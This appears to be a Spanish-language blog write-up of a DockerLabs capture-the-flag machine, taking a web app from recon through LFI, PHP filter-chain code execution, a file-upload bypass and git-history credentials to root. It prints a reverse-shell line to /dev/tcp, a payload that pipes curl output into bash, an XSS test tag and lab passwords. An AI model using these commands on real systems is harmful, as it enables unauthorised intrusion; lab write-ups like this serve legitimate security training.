DockerLabs Report
Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos un escaneo de puertos y podemos observar varios puertos habilitados.
Volvemos a realizar un escaneo más detallado de los puertos identificados y para el puerto 80 observamos el nombre del dominio realgob.dl
que agregaremos en nuestro archivo /etc/hosts
.
Ingresamos el nombre del dominio en el navegador donde vemos una bastante interesante.
Revisando la página podemos observar tanto un formulario como un login que son los más resaltantes. Así que realizamos un escaneo de subdirectorios y podemos observar varios interesantes más.
En el login Probamos algunas credenciales por defecto, pero no obtenemos nada interesante. Nos registramos en registro.php
Ingresamos y podemos observar que tenemos el ID 68
. De los botones del navbar
no funciona el perfil.
Cambiando el ID podemos ver los usuarios. Realizando un escaneo encontramos que el id 66
es de uno llamado administrador.
Probando el realizar pago, notamos que si enviamos un número negativo a nuestra cuenta esta aumenta en vez de restarse.
Intentamos agregando algunos valores para ver si es posible una inyección SQL, pero no es posible.
Revisando las páginas podemos ver que varias de ellas contienen formularios, si bien podemos inyectar parámetros HTML, no podemos inyectar comandos XSS.
Probamos una inyección HTML podemos ver que sí tenemos respuesta.
Lo mismo ocurre si ingresamos una etiqueta js
. Pero para nuestra tarea no nos es útil debido a que para estas vulnerabilidades necesitamos interacción de otros usuarios.
<body onload="alert('XSS')">
De entre todas podemos observar que tenemos en about.php
que al darle en leer mas ..
el URL cambia y tenemos un parámetro que llama a otros archivos y nos da la idea de que podemos probar un LFI
.
Probamos listando el etc/passwd
y podemos observar que sí obtenemos el archivo.
Escaneamos para ver si podemos realizar un log poisoning
pero el resultado no es positivo, ya que no podemos listar esos archivos.
Como se trata de una página en PHP y en la que podemos realizar un LFI esto nos da paso también para poder realizar un PHP Filters Chain Primero debemos comprobar si podemos realizar el ataque. Para ello, descargamos el script que nos generara la cadena. Archivo usamos el siguiente comando.
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
Luego de generar la cadena enviamos luego del parámetro y podemos ver que sí nos interpreta.
Como comprobamos que es posible el ataque crearemos una revshell simple en nuestra máquina.
bash -i >& /dev/tcp/172.17.0.1/1234 0>&1
Generaremos la cadena, esta tendrá el objetivo de descargar la shell que acabamos de crear y la ejecute. Luego de ejecutarlo copiamos la cadena que se genera.
python3 php_filter_chain_generator.py --chain '<?= `curl 172.17.0.1/shell|bash` ?>'
Antes de enviar la cadena debemos abrir dos consolas. La primera es para iniciar el servidor en Python y la segunda iniciaremos nuestro listener.
Como al enviar no nos considera la cadena.
Cambiamos curl
por wget
y enviamos la petición.
Regresando a nuestra shell podemos observar que ganamos acceso.
Otra manera de escalar es haciendo uso de la página de admin.php
, ya que probando algunas credenciales por defecto y podemos observar que ingresamos.
admin:admin123
Al ingresar podemos observar que tenemos la página cargas.php
.
Configuramos nuestra rvshell.php
.
Cargamos el archivo.
Subimos el archivo y podemos ver que no es permitido.
Capturamos la petición y observamos que acepta imágenes.
Para evitar cargar una imagen con una shell lo que haremos es cambiar el content-type
y agregaremos un magic number
.
Enviamos el archivo y podemos observar que se sube con éxito.
Ya que se subió el archivo Iniciamos nuestro listener.
Como ya subió el archivo nos dirigimos a uploads
y podremos ver que ya tenemos el archivo el cual haremos clic.
Al realizar clic en el archivo vemos que ya tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Revisamos permisos SUID
y capabilities
, pero no encontramos nada.
Realizamos una búsqueda de usuario y al final nos muestra una carpeta llamada desarrollo
find / -user melon 2>/dev/null
Listamos el directorio y podemos observar que tenemos un .git
.
Realizamos un git log
y podemos ver lo siguiente.
Enviamos el siguiente comando.
git config --global --add safe.directory /var/www/html/desarrollo
Ingresamos el comando, pero nos sale un error.
Agregamos la variable home
y ahora ya podemos realizar el git log
.
Revisando podemos ver que tenemos uno que el autor es adm
y es uno de los usuarios que existen.
Realizamos un git show
al código del commit y podemos observar las credenciales del usuario
adm:9fR8pLt@Q2uX7dM^sW3zE5bK8nQ@7pX
Usamos las credenciales y ya estamos dentro como adm
.
Ingresamos un sudo -l
, pero observamos que no tenemos el comando, Probamos buscando permisos SUID así como las capabilities, pero no tenemos nada.
Revisando los archivos del directorio de usuario en el archivo .bashrc
tenemos un parámetro llamado my_pass
.
Llevamos el texto a cyberchef
y podemos ver el texto.
Realizamos un su root
y estamos dentro. De esta manera culminando esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by